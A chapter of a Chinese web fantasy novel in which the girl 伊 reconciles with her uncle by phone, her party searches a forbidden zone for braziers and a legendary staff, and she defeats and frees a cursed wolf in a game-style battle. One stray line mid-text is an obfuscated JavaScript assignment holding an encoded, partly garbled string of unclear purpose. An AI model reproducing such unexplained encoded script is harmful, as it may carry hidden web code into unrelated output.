“年龄不会影响一个人的灵魂。他既然已经经历了那么多,自然能担负起那样沉重的责任。” “可是......还是有些难为情啊。” “如果短时间没勇气去说的话,那你可以付诸实践来表达自己的心意。” “好主意!只要我态度对他好些,他也许就可以明白我的心绪了。” “这倒不一定。男人都是很古板的,你得做的明显点。” “哦。” 这时,一颗缥缈的流星划过天空,伊的目光被它吸引了过去。看到这颗流星留下的灿烂轨迹,伊想到了她的叔叔碧蓝苍穹。一想起碧蓝苍穹,伊的脸色变得有些难看。 “铃兰花......” “嗯?” “你有没有什么不想去面对的亲人呢?” “我想想......没有。” “我有个叔叔,他为人做事比较招人烦,我对他挺反感的。尤其是当我知道他害死了我的母亲,我就恨透了这个人。但是......许久见不到他,还是有点想他呢。尽管他那张嬉皮笑脸的臭脸让我觉得厌烦。” “有些事情是很难放下的。但还请你好好想一想,你的叔叔到底在用怎样的态度对待你。家人之间的矛盾,可以试着去调解。” 听到铃兰花的话,伊陷入了沉思。伊回想起自己的叔叔平时对待自己的样子,才发现叔叔从未亏待过她,还时常给予她陪伴和鼓励。伊的潜意识虽然在极力抹黑她叔叔的形象,可瑕不掩瑜,她叔叔的善意馈赠是不变的事实。 “我放不下那一切!若不是我叔叔一意孤行,我妈妈根本不会死去。明明就是我叔叔不对!他自私又自利,为了自己的计划不惜牺牲妈妈乃至更多人的生命。天天念叨着拯救世界的大义,可实际上办的都是生意。” “但这依然改变不了他对你的爱不是吗?” “我!我......” “尝试去接纳你叔叔吧。你要知道,在这人心不古的乱世当中,一个值得托付的家人到底有多么重要。当你被人在乎的时候,你才不会感到孤独。” “一码事归一码事......” “‘你若想变得勇敢,首先就得先学会接纳。’这是我丈夫传授给我的道理。” “接纳......” “对呀!接纳。” “......” “我知道你一时难以做到。但你的时间还很漫长,你会学着变得勇敢的。我丈夫当年就是这样捕获我的芳心、改变我的人生的。” “......我,我不知道该怎么做才好。” “先看看这附近有没有信号,然后你可以试着给你叔叔打打电话。试着沟通,伊。家人间的矛盾很多都能靠沟通解开。” “嗯?” “嘻嘻,别看我和我老公很恩爱,我们两个之间可没少吵架呢。跟我父母和弟弟之间就更多了!” “好吧,我试试......” 伊怀着忐忑的心,拨通了她叔叔的电话。借着禁域边缘的两格信号,伊很成功与她叔叔通上了电话。电话一接通,对面就传来了水流哗啦啦的声音。 “喂?是哪个小可爱给我打的电话呀?我这边正忙着呢。” 伊一听,心里盘算着要不要挂掉电话。思考了片刻,伊选择开口。 “叔......叔叔。” 对面一听到伊的声音,瞬间终止了水流声。 “伊宝?是你吗?” 伊有些忐忑地回答了对方的问题。 “嗯,我是。” “你怎么想起来给我打电话了?是不是遇到什么困难需要我出手相助啊?” “我......没什么......就是许久没见面,有些想你了。” “你真的是伊宝吗?喂!伊,你要被绑架了就哼哼几声,我这就派人来救你!” “我没事。我就是有点孤单了,想找你说说话。” “哦,这样啊......” “最近过得好吗?叔叔。” “挺好的,你呢?” “我也还可以。” “殇对你好不好啊?有没有欺负你?要是被欺负了你就告诉叔叔,叔叔帮你办了他!” “别担心,叔叔。殇对我挺好的,把我当闺女似的对待呢。” “哦!这样啊。那你最近缺不缺钱啊?叔叔给你转个百八十万当零花钱用不用啊?” “不用了,叔叔。你的好意我心领了。” 这时,伊的手机发出了提示音道: “银行到账100万元。” 伊看到手机上的提示,她冰冷的态度终于发生了转变。伊小声问道: “谢谢叔叔。” “谢什么?伊宝快乐就行。以后有啥事了可以来找叔叔,叔叔保准帮你办好。” “嗯。谢谢叔叔。” “对了,伊宝。你什么时候回家啊?” 伊心里有些赌气。 “我......还不想回去。” “......还在生叔叔的气呢,对吧?” “哼,哪有找人让一群绑匪找的,我不生气才怪呢。哼!坏叔叔。” “好啦好啦,叔叔错了。哦,那什么,那些人伤到你没有?有没有受伤?” “没有。” “那就好。” “叔叔,玛丽姐现在怎么样?” “你说她啊?呵呵......那可有意思了。” “怎么呢?” “不能告诉你,这是我们公司的商业机密。” “哦,好吧。” “你知道奇趣棒吗?” “那是什么?” “你不知道就行。——玛丽哈娜在我们公司混的挺好,你就不用担心了。你推举进来的人才,我说什么都不带辞退的。” 对方小声说了一句: “除非是来找茬的。” 伊笑了笑。一想到曾经落魄的玛丽姐如今过得风生水起,伊的嘴角不禁上扬。突然,伊的笑容消失了。伊想到了叔叔身上的异象。 “叔叔,你的肚子现在怎么样了?” “和当初没什么两样,就是表面更圆滑了一些。被我给盘的,嘻嘻......” “哦。” “伊宝啊,叔叔这边你就不用担心了,你只要照顾好自己就好。” “嗯。那个......我要睡觉了,我先挂了。” “哦,去吧。做个好梦哦,伊宝。” 伊伸手去碰挂断按钮。就在这时,电话那头传来了她叔叔的感叹。 “妹妹呀,伊宝她懂事啦。回头我就把这喜讯带给你,让你也高兴高兴。作为孩子的母亲,你应该最想听到这个......” 听到自己的叔叔这样说,伊冰冷的心渐渐融化。伊深受感动,她开始思索自己过去的行为是否正确。打过电话后,伊的心情变好了许多。这时铃兰花发问她: “怎么样?沟通一番后感觉如何。” “我觉得......叔叔其实也没那么坏。” “你能有这样的想法,就证明你不是一个冷血的人。” “等哪天我想明白了,我会找叔叔好好谈谈的。” “祝愿你能和家人解开矛盾。” 伊笑了,她的心如夜般平静下来。不知不觉,她就进入了梦乡。在梦里,她又一次见到了自己的叔叔。只不过这一次,她身上少了几分怨气。 第二天...... 根据陌昨晚破解的信息,伊她们来到了森林深处寻找圣殿大门的线索。据古卷的信息描述,陌他们需要激活五个火盆才能见到指引大道的曙光,跟着曙光走才能找到隐藏的圣殿大门。 森林深处环境复杂,寻找起东西来非常麻烦。途中还有各类奇珍异兽阻碍搜查,这令陌他们非常头疼。不过架不住陌等人耐心细致的搜查,最终一块碎砖头为他们指引了道路。就在这时,伊发现小咒刀不见了。伊急切地问道: “你们看到小咒刀了吗?” 陌他们一脸疑惑地看了看彼此,然后都摇了摇头。伊见状赶忙带着陌他们在附近寻找了一圈,却并未看到小咒刀的身影。伊见找不到小咒刀的踪影,便无奈地摇了摇头道: “唉,我猜它又去哪里摸鱼去了。” 小咒刀寻找无果,众人只得继续前进。 循着碎砖头上的线索,陌他们来到了一处写满秘文的石墙前。陌伸出手触碰那面石墙,没想到手竟然直接穿过了石墙。陌顿时明白了这面墙暗藏的玄机,于是陌主动凑近这面墙,最后活生生穿过石墙来到墙后世界。 见到墙后世界的第一眼,陌就被深深震撼到了。厚实的木头围成高耸的圆形高墙,犹如踏足进一棵空心的参天巨树。粗壮的藤蔓挂在木头墙壁上呈现千百种奇妙姿态,一座又一座原木平台固定在其中。低头向下看,巨树底部是一池清冽的魔法泉水,水下冒着气泡,水面上浮萍飘飘。抬头向上看,一座巨大的花岗岩平台被八条藤蔓高高挂起,平台的正中心就是一座熄灭的火盆。 见此情形,陌瞬间领悟了其中的奥秘。这时伊她们也穿墙走了进来,一看到这样的景象都不由得惊叹连连。陌用三叉戟敲了敲地面,手指花岗岩平台的火盆,众人的目光被吸引了过去。 陌: “那正是我们要找的东西。点燃它,我们就算往前进了一步。” 银骨剑圣: “那地方可真高。” 不死耶稣: “看来要花上我们不少功夫。” 伊: “很赞的风景。只是......你们有谁能到达那个地方?” 陌他们看了看彼此,通过眼神交流想法。眼神交流过后,银骨剑圣站了出来,跟着不死耶稣也站了出来。 银骨剑圣: “剑圣虽老,仍能任战。” 不死耶稣: “老朽虽不善功夫,但有兴趣接受考验。” 陌看向信心满满的两人,默默地点了点头。两骨的勇气感动到了伊,胆怯的伊内心陷入了矛盾。这时,陌也站了出来。 陌: “许久没运动了,来试试我这幅身子骨还行不行。” 银骨剑圣: “你也要来?” 不死耶稣: “别急着上场,优先照顾好我们的圣君仁华。” 陌随手一挥,两位风格各异的强力骷髅战士出现在伊的身旁。 陌 “放心,至尊骷髅侠和黑斗笠会照顾好她的。” 伊试着说服自己变得勇敢,可终究还是没迈出那一步。伊眼睁睁看着陌他们出发,心里很不是滋味。她有些要强,想要变得勇敢一些。她待在原地有些懊恼,心里还有些郁闷。这时,铃兰花开口道: “伊,别太难过。” 伊摇摇头,说: “我没难过。只是......有点不甘心。” “你想和他们一起上去,对吗?” “嗯。” “那现在就不该垂头丧气了哦。” “诶?” “抬起头,好好观察他们的动作。不会的就要学,学会就不愁了。” 铃兰花的一番话令伊重新振作了过来。 “嗯。我明白了。” 伊攥紧拳头,做出势在必得的姿势。 “相信自己,伊。我一定可以学会的。超越自己,变得强大起来。” 伊细细观察陌他们的动作,从简单的疾跑到高难度的轻功。伊在原地模仿了起来,很快就模仿来了几招。这时平台上出现了形似半身人的守卫,它们毫不犹豫地对陌他们展开了攻击。它们是这座巨树的守卫,驱逐一切外来者。伊见状,扯着嗓子对陌他们喊道: “陌、老骨爷爷、银骨爷爷,你们小心呐!” 陌他们受到鼓舞,战斗变得生猛起来,似乎青春回来了一样。 就在伊担心陌他们一行人的状况并模仿学习对方的招式时,先前摸鱼而消失的小咒刀用绳子拖着一个银箱子穿墙而入。银箱子进入墙后世界的瞬间,由于小咒刀不恰当的施力方式,银箱子内的古卷都统统掉了出来,连带着的还有一根暗灰色的法杖。伊注意到了那根法杖,便立即将它捡了起来。 进入墙后世界的小咒刀迫切地高喊: “主人,不好啦!不好啦!” 小咒刀飞速凑到伊的身前,慌张地晃动自己的身体。伊见状,赶忙安抚它的情绪。等小咒刀情绪平复下来,小咒刀说起了自己消失的那段时间里的所见所闻。 那时候...... 小咒刀敏锐的眼注意到了路旁杂草丛后的一丁点亮光。小咒刀出于好奇就飞过去查看情况。循着那道亮光,小咒刀找到了一处黑石搭建的地穴。地穴门口的门虚掩着,亮光正是来自门后。小咒刀眼中放光,以为是找到了圣殿入口,就赶忙上前查看。这一看不要紧,小咒刀直接发现了先前的冒险者留下的秘密。 地穴内随意摆放着被灰尘掩埋的工具和生活用品,小咒刀统计了一下,正正好好能供一个小团体生活。继续深入,地穴角落处堆放着几具白骨,白骨身上穿着修仙用的仙者服装、手里都拿着各式兵器,毫无疑问它们是太玄国宗门势力的派遣。再继续深入,地穴的深处竖着靠墙摆放着一块石碑,石碑上印有一个家族的阵法,从形状上来看是某个与玄武有关的家族的阵法。石碑的周围散落着许多本经书,还有簪子、戒指这样的首饰,似乎这里之前的主人是位学识渊博的女子。 小咒刀: “看样子,这里的主人是个聪慧的姑娘呀。逛姑娘的房间,看看能不能发现什么宝贝。要是能找到好东西带回去,主人一定会高兴的!” 眼前的景象勾起了小咒刀的兴趣,小咒刀开始在屋内搜索宝贝。就在这时,小咒刀无意间注意到那块石碑上的阵法。小咒刀有些好奇,就飞过去想贴近查看一番。谁知它刚靠近这个阵法,突然整个地穴开始剧烈颤动。小咒刀以为是地震了,慌张地躺在了地上。 小咒刀: “压不死我,压不死我......” 过了一会,颤动停止了,小咒刀感觉到这一点后赶忙离开地面。这时,石碑上阵法被激活,一幅禁域全景图以全息幻影的形式呈现了出来。小咒刀先是一惊,然后仔细研究起这幅图来。 等小咒刀研究明白时,小咒刀被图上呈现的形势给吓到了。 图上有五朵墨绿色莲花,它们对应了禁域内的五座火盆。就在刚刚,这五朵莲花其中有一朵变成了白色,这象征着火盆被点燃;这朵莲花距离小咒刀现在的位置非常远,这意味着禁域内不止伊一行人存在,还有其他人也在禁域中寻找圣殿。小咒刀慌了,其他势力对于伊她们来说无疑是最大的威胁。时间不等人,小咒刀立即出发,将此消息告诉伊她们。 回来报信的途中,小咒刀在地穴过道里找到了一个装满古卷的银箱子。小咒刀觉得这里面都是情报,就用绳子将箱子拉了回来。 ...... 听完小咒刀的讲述,伊也明白了事情的严重性。她转身看向陌他们,并仔细观察火盆的形状。伊惊奇地发现,火盆的样式恰巧就是一朵莲花。伊恍然大悟,立即询问起小咒刀石碑的位置。没等小咒刀开口,一道耀眼的光芒迎面向他们袭来。 几秒钟前,银骨剑圣将守护火盆的守卫首领击杀,陌迫不及待地用法术点燃火盆。火盆被点燃的瞬间,一朵火焰莲花从火盆中央升起,吓了陌他们一跳。那道耀眼的光芒正是火莲花出世所发出的。很快,火莲花消散了,火盆内燃起了金色的烈焰。火盆被激活,墙后世界的景象也在顷刻间烟消云散。 等众人再次睁开眼,众人惊奇地发现他们到了那扇写满符文的石墙前。而这次再接触石墙,则不会再出现允许穿墙的情况。正当众人疑惑之际,陌注意到了伊手中的法杖与一旁散落一地的古卷,陌顿时心生欢喜。 陌: “伊,这是怎么回事?哪里来的古卷与法杖?” 伊: “这是小咒刀弄来的。” 陌: “能将你手里的法杖让我看一看吗?” 伊: “可以哦。” 伊将法杖交给了陌。陌仔细打量这根法杖,然后有了惊人的发现。这根法杖竟是传说中三大至尊级法杖中的不灭火——焚灭天宇杖,同时这也是秋山国在反殖民战争中遗失的国宝。陌拿着这根法杖的手激动得颤抖起来,他这辈子都没碰过这样高级的法杖。 陌: “伊,这根法杖是从哪里弄来的?” 伊: “小咒刀说从一个地穴里找到了一个银箱子,它把银箱子拉了回来。这根法杖正是那银箱子中的容物。” 陌开心地笑了。陌虔诚地捧起手中的杖子,将它视作无上珍宝。 陌: “各位,我们找到宝藏了。我手里这根法杖,是三大至尊级法杖中的不灭火,传说法师安佩蒂罗夫·蒂法的法杖。” 银骨剑圣: “我的天!就是《远古封神榜》中的火系至尊法师的那把焚灭天宇杖吗?太他妈不可思议了,那可是价值连城的神器啊!” 不死耶稣: “顶级法师的装备,想必拥有毁天灭地的效果啊。真想找个荒地用一用啊,可惜我不是法师,没那么多魔力。” 伊: “我滴个老天爷啊!这原来是神器吗?哦,太不可思议了!” 铃兰花: “法杖?这世界上原来还有魔法的吗?” 这时,伊突然想起了一个人——殇王国右中指兼人文外交部部长胡普。胡普原名就叫胡普·蒂法,而蒂法这个姓背后牵连一个神秘的家族。据说,那个家族曾经拥有毁灭世界的力量。 伊: “右中指......胡普......同样的姓氏,难道她们是一个家族的人吗?” 之后,陌他们带上一箱子古卷先回了营地。在处理好古卷的存放问题后,陌他们在小咒刀的带领下来到了找到提示的地穴之中。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十三话:禁域(下) 深入地穴后,众人见到了那块印有折法的石碑。此时阵法还处在激活状态,那张禁域全景图还在。正如伊和小咒刀猜测的那样,图中众人附近的墨绿色莲花果然变成了白莲。伊和小咒刀确信有另一批人也在禁域中寻找圣殿。 随即,陌对石碑进行了简单的研究。熟悉古代文字的陌很快就弄明白了使用阵法的方式。只见陌在图上随手一点、再一划,密密麻麻的红点在图上显示了出来。那些红点由西方向北方缓慢移动,还有五个掉队的红点停留在西方。这时,陌注意到,红点离开的地方是西方,而图上显示那里的莲花是白色,而红点目的地北方的莲花是墨绿色。陌顿时醒悟,他赶忙用三叉戟唤出几个彪悍的幻影骷髅大将。陌命令这几个骷髅大将将石碑搬回营地,然后自己在地穴内搜寻线索。 伊见状,好奇地问: “陌,发生什么事了?” 陌很激动地告诉伊: “我发现了一件不可思议的事,我现在需要找到线索证明我的想法。” 说完,陌叫上银骨剑圣和不死耶稣来协助自己寻找线索。伊和小咒刀见了,也加入到其中。 过了一会,银骨剑圣有了发现。银骨剑圣找到了一把小扇子,那把扇子上有天上人直属族钟离的炎圣标志。银骨剑圣将这把扇子交给陌,陌接过扇子好好检查了一番。这把扇子的痕迹证明这把扇子来到地穴后就未离开过地穴,且从上面的法力残留上来看,这把扇子主人必定是个长寿、强大且资质过人的修仙者。这个发现佐证了陌最大胆的猜测:另一批人正是天上人势力的爪牙,而这个地穴的一切都与天上人有关。 陌: “看样子,咱们是找到宝藏了。种种迹象表面,这里是天上人研究禁域的一个基地。而这基地内,一定藏有禁域数不尽的秘密。那块印有阵法石碑,我想是他们拿来求救用的。那块石碑拥有标记友军的功能,只针对于天上人。” 不死耶稣: “天上人的基地?嘎嘎嘎,看样子天上人早就研究过这块地方,而且还做了足够细致的准备。” 银骨剑圣: “既然天上人势力的爪牙来了,那我们也得想策略去应对。那些家伙来者不善,我们得狠狠给他打回去!决不能让天上人那群疯子拿到圣剑。圣君仁华,决不能是混世魔君。” 小咒刀: “好!干他娘的!” 伊: “那我们下一步该做什么呢?陌。” 陌: “加快脚步,抢在他们之前抵达圣殿。” 第三天,伊一行人从古卷中知道了禁域的更多秘密。伊通过自身训练的成果击败守护森林的暗精灵,后与暗精灵村庄的儿子结识。依靠村长儿子的关系,众人与暗精灵一族达成和平协议,又在热心的暗精灵村长的安排下将大本营迁入到村庄边缘的草药田旁。通过咨询村内的暗精灵长老,伊一行人了解到了更多关于禁域的秘密,同时古卷蕴藏的奥秘也一步一步地揭开。 第四天,北方的第三火盆被天上人点燃。这预示着危险正在逼近。伊一行人为保证能抢在天上人之前找到圣殿,便匆匆告别暗精灵村庄,前往禁域的东方点燃第四火盆。 第五天到第七天,伊一行人都在赶路。期间她们遇见了可爱的杏花精灵。伊凭借几颗糖果征服了杏花精灵。作为报答,杏花精灵帮她们安全穿过禁域东部与南部的交界地,一路上避开了各种凶猛难缠的异兽。 第八天,伊一行人来到玄武岩之地,亲眼目睹了大自然的奇迹:狭长的熔岩峡谷与壮丽的黑曜石森林。伊一行人深入玄武岩之地,途中伊遭遇法术陷阱落入阴霾峡谷。伊在逃离阴霾峡谷的时候,伊遭遇到一只凶猛的异兽,一场惊心动魄的遭遇战开始了。 这只凶猛的异兽名为:“惊惧狼鬼”,是阴霾峡谷中猎食死亡蠕虫的顶级掠食者。狼鬼身材魁梧高大,全身覆盖漆黑色又尖端带点紫的厚重毛发,身上零散地披覆着紫色的战铠,右爪紧握一把各自动物骨头制成的长剑,看起来像是一位狼人化的中世纪骑士。狼鬼的双眼紧紧地盯着伊,一对檀紫色的眼眸中杀气四溢,似乎想要生吞活剥了伊。狼鬼的四足与脖子上都套着黑铁环,黑铁环上印着法文密咒,这显然是束缚它的枷锁。 狼鬼冲着伊吼了一声,随后拖着迟钝的身体慢步逼近伊。恐惧感涌上伊的心头,伊想要退缩,但身后的去路已被不知名的紫色雾气牢牢封住,伊被迫只能面对面前凶神恶煞的狼鬼。回想这些时日里陌对自己的训练,伊慢慢鼓起了勇气,一向胆小的她变得勇敢起来。又回想殇和陌等人对自己的期待,再回想自己不服输的信念,伊充满了决心。 “别担心,放轻松。只是体型大一点的狗子而已,不必被吓得魂飞魄散。你是最棒的,伊!加油!伊。像个战士一样,战胜面前的敌人吧!” 伊自我鼓励道,“我也不是好惹的,兔子逼急了也会咬人的。嗷呜!要上了,大狗子!见识见识我的厉害。”伊的这番自我鼓舞起到了明显的效果,伊的恐惧完全转化为了勇气与决心。炙热的心火在她心中燃烧,她的中二之魂又一次爆发。 铃兰花: “加油!伊。相信自己。” 这时,狼鬼一个大跳扑了过来,伊一个翻滚闪开。伊随手捡起地面上一根半米长的腿骨,正巧狼鬼出剑攻击,伊正面用腿骨招架。伊咬了咬牙,接下这一击后猛地后退出去,然后汇聚核心能量,准备迎接狼鬼。 战斗准备中...... 伊,等级9,血量129,战斗力46,速度等级II,单回合双行动,介绍:一位富有想象力的中二少女,稍微有点威胁度。 惊惧狼鬼,等级48,血量500,战斗力109,速度等级III,单回合三行动,介绍:阴霾峡谷中的顶级掠食者,被困十多年仍顽强存活的战狼。 战斗准备完毕...... 第一回合,惊惧狼鬼技能触发,攻击必定附加流血。惊惧狼鬼先手攻击。 惊惧狼鬼使用战吼,三回合内伤害中幅度提升。 惊惧狼鬼使用野狼进击斩,对伊造成65点伤害,伊被施加了流血状态。 惊惧狼鬼使用野蛮宰杀,对伊造成40点伤害,伊的流血状态叠加到3层,伊使用打虎拳反击,惊惧狼鬼受到21点伤害。 伊进入濒危状态!伊的技能:锁被动触发,惊惧狼鬼三次行动数内无法行动。 伊使用EmA激活协议,EmA-184穿戴在伊的身上,伊化身为大号马婷婷。 伊使用治愈之声,消耗自身23%法力恢复300点生命,伊身上的流血状态清零。 第二回合,伊技能触发,光之子相关技能解锁,每回合必定恢复50点血量。惊惧狼鬼先手攻击,禁锢效果将其驳回,由伊先手攻击。 伊使用光之剑II型·一闪流,对惊惧狼鬼造成57点伤害,惊惧狼鬼被施加了两回合的威力增幅无效化效果。 伊使用Emw连击,伊召唤出EcL-194倪汝美的Emw:诅咒·不死(一把血肉阔头刀),对惊惧狼鬼造成了98点伤害。 突发情况!Emw-194专属技能触发,伊获得释放极技的机会。 伊使用极技·血肉崩毁序曲,释放五连暴血重击,最后一击斩出致命暴击。 “说......再见。” 惊惧狼鬼受到187点伤害,且被施加了十层流血。 第三回合,惊惧狼鬼解除禁锢。伊的行为致使她的核心过载,本回合伊陷入疲累状态。惊惧狼鬼受到52点流血伤害,流血层数减2。惊惧狼鬼先手攻击。 惊惧狼鬼使用野性本能,消耗一次行动数,下次攻击伤害翻倍。 惊惧狼鬼使用饮血猎杀,对伊造成85点伤害,伊被施加了三层流血,惊惧狼鬼恢复85点生命。 伊使用光之治愈,消耗自身20%核心能量恢复60点生命,伊获得时效两回合五层的生命恢复。 伊使用中二少女的斗志,下一次攻击必定是先手攻击,下一次攻击的伤害提升65%。 第四回合,伊的意志等级提升,单回合三行动。伊的疲累状态消失了。伊恢复125点生命。惊惧狼鬼受到43点流血伤害,流血层数减3。伊先手攻击。 伊使用武林绝学·崩山拳,消耗本回合全部行动数,伊的身上爆出金色斗气。伊对惊惧狼鬼打出朴实无华但致命的一拳。 “寸劲......开天!哦拉——” 惊惧狼鬼受到281点伤害,且被施加三回合的麻痹。 惊惧狼鬼血量归零,进入二形态。 惊惧狼鬼捏碎手中的剑,展现它最野蛮的一面。 “吼!!!” 战斗暂停中...... 铃兰花: “对方变换形态了。伊,小心呐!” 伊: “嗯,我会的。” 铃兰花: “从架势上来看,对方似乎核心爆发了。这看起来很难办啊,你一个人能应付得了吗?伊。” 伊: “我觉得我应该可以。不试试怎么能知道呢?” 铃兰花: “唉......我没有实体,没办法帮到你呢。” 伊: “没有关系。你在我身旁就是对我最大的鼓舞了。” 铃兰花; “你真是越来越有魅力了呢。” 战斗继续...... 第五回合,惊惧狼鬼激活核心,进入EcL强化状态。惊惧狼鬼的血量变为300点,单回合四行动,且对流血状态免疫。伊恢复50点生命。惊惧狼鬼先手攻击。 惊惧狼鬼使用对鲜血的渴望,给予自己三层力量、速度、防御效果。 惊惧狼鬼使用潜狼月隐,下一次攻击给予自身隐身效果。 惊惧狼鬼使用狼袭,对伊造成102点伤害,对伊施加一回合的恐惧。 惊惧狼鬼使用利爪侵袭,对伊造成了89点伤害,对伊施加三层流血。 伊血量归零...... 伊倒下了,突然眼前一黑昏了过去。 战斗暂停中...... 铃兰花: “哎呀!我就知道。Flag不能乱立的,果然会出事。” “伊,振作一点!能不能听见我的声音?哎呀——伊,赶快苏醒过来吧。快逃吧,这个家伙你打不过的。” “伊,你别吓我。我刚交到你这个朋友,你怎么能就这么离开呢?我不忍心看到你离开。快呀!加油呀!站起身来。算我求求你了好不好?站起来逃跑吧。活着才是一切的本钱啊......” 伊因为昏迷而选择了沉默。 战斗继续中...... 这时,伊耳旁传来了一个人温柔的声音。 “孩子,不要放弃希望......愿光保佑你......” 突然,伊的身旁出现奇异的光芒,希德薇拉的庇佑降临在她的身上。一道耀眼的曙光照进她的灵魂深处,沉睡的光之种子爆发出前所未有的力量。 “伊,全力以赴吧。” 伊从地上慢慢爬起。再次站起时,她的双瞳变成了金色,散发柔光的光点环绕在她的脚底。光之能量化成金色的斗气在她身上泛起,她此刻充满了力量。 第六回合,伊激活核心,进入超神备强化状态。伊的血量变为500点,单回合六行动,且永久获得5层力量、速度、防御、再生、耐性,并免疫绝大多数负面状态效果。伊恢复50点生命。伊先手攻击。 伊使用光之誓言,对惊惧狼鬼施加3回合的威力增幅无效化、虚弱、迟缓、昏昏欲睡效果,5回合内的第一攻击无效。 伊使用光的旨意,给予自身光之怜悯效果(所有敌人只会被打至1点生命,自身伤害永远提升36%)。 伊使用光之旋律I章,对惊惧狼鬼造成65点伤害。 伊使用光之旋律II章,对惊惧狼鬼造成126点伤害。 伊使用光之旋律III章,被惊惧狼鬼躲开了。 伊使用光之旋律IV章,下一次受到的伤害最大值为1。 惊惧狼鬼使用狼袭,对伊造成了0点伤害。 惊惧狼鬼使用残忍宰杀,对伊造成1点伤害。 惊惧狼鬼使用鲜血横飞,对伊造成19点伤害。 惊惧狼鬼使用蓄意擒杀,对伊造成30点伤害。 第七回合,惊惧狼鬼技能触发,本回合第一次攻击必定为先手,且伤害+50%。惊惧狼鬼先手攻击。 惊惧狼鬼使用必杀技·惊惧盛宴,打出一系列威猛又残暴的攻击。 “大快朵颐!” 伊受到了0点伤害,惊惧狼鬼恢复105点生命。 伊使用光之闪舞,对惊惧狼鬼造成99点伤害。 伊使用光之一闪,对惊惧狼鬼造成56点伤害。 伊使用光之不桀,下一次攻击造成的伤害提升607%。 伊使用威慑,对惊惧狼鬼无效,下回合第一次攻击的伤害x1.2。 伊使用仁慈,对惊惧狼鬼无效,下回合造成伤害+15%。 惊惧狼鬼使用狼的不屈,自身获得三回合的3层力量。 惊惧狼鬼使用难以遏制的野性,对伊造成40点伤害。 惊惧狼鬼使用狼袭,对伊造成22点伤害。 第八回合,伊先手攻击。 伊使用不屈的意志,本回合全部攻击伤害提升25%。 伊使用光之恻隐,对惊惧狼鬼造成-500点伤害,下一次攻击附加90点伤害。 伊使用最终通牒,只允许再行动一次,下一次攻击必定暴击。 伊使用搏命技·光之湮灭,清空自身全部核心能量和法力,给予自身下回合无法行动的禁锢,打出致命的千钧蓄力一掌。 “这一击,贯穿星河!” 伴随着湮灭之光从伊的掌心迸发而出,伊在最完美的时机打出了这一掌。 空前绝后的一击!这一击,堪比核爆。伊对惊惧狼鬼7561点伤害,对惊惧狼鬼施加378层虚弱、烧伤、护甲破损、迟缓效果。惊惧狼鬼血量锁至一点,它甚至还欠了伊二十多条命。这一击直接结束了战斗。 第九回合,伊先手攻击。 伊使用救赎之光,成功救赎了惊惧狼鬼。 伊取得了胜利,获得Exp,等级从9级升至15级,可喜可贺。 战斗结束...... 击败惊惧狼鬼后,伊从超神备状态中恢复过来。经过刚刚的一轮战斗,伊累得要死,连站立都有些吃力。伊大口喘着粗气,全身疯狂出汗,肚子咕噜噜的叫,身体晃得左摇右摆。 铃兰花: “伊,你刚刚好帅啊。突然一下子变身,我还以为你就交代在那里了呢。这可给我吓够呛。下次别那么弄了,干脆一点好不好?太吓人了,我当时以为你撑不住了呢。万幸最后你还是赢了。呼......我得缓一下。” 伊精神有些恍惚,她并没有听到铃兰花的话。 伊: “累......累死我了。这大狗子......可真难对付。刚刚的力量......究竟是怎么一回事?哎呦,我的脖子啊。不行了,我要坐下来歇一会。” 伊有些狼狈地坐下了。 这时,惊惧狼鬼身上套着的黑铁环全数破碎。惊惧狼鬼感觉到这一点,顿时大喜过望,不顾身上的伤起身嚎叫,还用舌头舔了舔伊的脸,颇像家养的宠物犬。惊惧狼鬼在失去了束缚之后,变得格外活泼,原本凶神恶煞的样子也变得和蔼可亲了起来,一点也没有先前身为狼鬼的凶恶模样。伊看着眼前这只活蹦乱跳的大狗子,脸上不禁露出了笑容。这时,惊惧狼鬼说话了。 “太好了!我终于可以离开这鸟不拉屎的地方了。” 伊疑惑了一下,她没想到对方这只狼还会说话。伊面露微笑,说: “你原来会说话啊。” 惊惧狼鬼冲伊做了个笑脸,解释道: “我原本是守护中部火盆的守护兽,直到五十年前一位黑魔法师算计了我,把我囚禁在这个鬼地方,我才沦落到连话都说不起的境地。后来那家伙怕我离开,还给我身上下了一堆的咒语,又用法器黑铁环束缚我,就怕我离开找其他人麻烦。现在好了,我成功摆脱束缚了。再也没人能阻止我当个潇洒的狼了。” 说完,它激动地嚎叫了两声。 “这都多亏了你,冒险者。要不是你帮我接触疯狂诅咒和束缚,我也许老死都离不开这鬼地方。” 伊微笑着挠了挠后脑勺,十分谦虚地说: “没关系啦。我也是误打误撞帮了你一把呀。” 惊惧狼鬼摆出雄姿,十分庄重地向伊介绍起了自己。 “重新介绍一下,我叫影狼,是禁域里面比较有影响力的一匹狼。我的主人是秋山国杰出的冒险者杨·丹尼尔,我是一匹冒险者驯养的狼。我有幸被禁域的主人选中成为了守护兽,现在是守护禁域中部火盆的守护兽。你可以叫我影子哥,因为我出没的地方常常阴影密布。” 影狼很礼貌地伸出自己的狼爪。伊见了,笑着握了上去。伊热情地向影狼介绍起了自己。 “我叫伊,是来来自远方的探险家。我的同伴受到卡门的指引,指认我为新一代圣君仁华。为了抢在另一伙人之前拿到圣剑文明方舟·黎明,我们不远万里来到此处寻找圣殿。我也是来找火盆的哦,请多指教。很高兴见到你,影子哥。” “有趣的小姑娘。我很高兴你说了实话,孩子。我们每一只守护兽都有读心的功能,没有人可以欺骗我们。——很好,既然你有恩于我,又是卡门指引当中的命定之人,那我便帮你一把吧。首先,我们得离开这个鬼地方。” 说完,影狼将伊一把扔起,然后用毛茸茸的后背接住。伊本能地抓紧了影狼,同时影狼召唤的幻影藤蔓悄悄固定住了伊。影狼露出久违的笑容,对背上头脑昏昏沉沉的伊说: “抓紧了,孩子。我们要开始一路狂飙了!” 影狼兴奋地嚎叫了两声,随后一路狂奔向阴霾峡谷出口。一路颠簸的过程中,伊实在是太累了,不小心睡去了。睡梦中,她见到了一直帮助自己的幻影。幻影给她讲了很多故事,似乎是刻意,那些故事她一个也没记下。 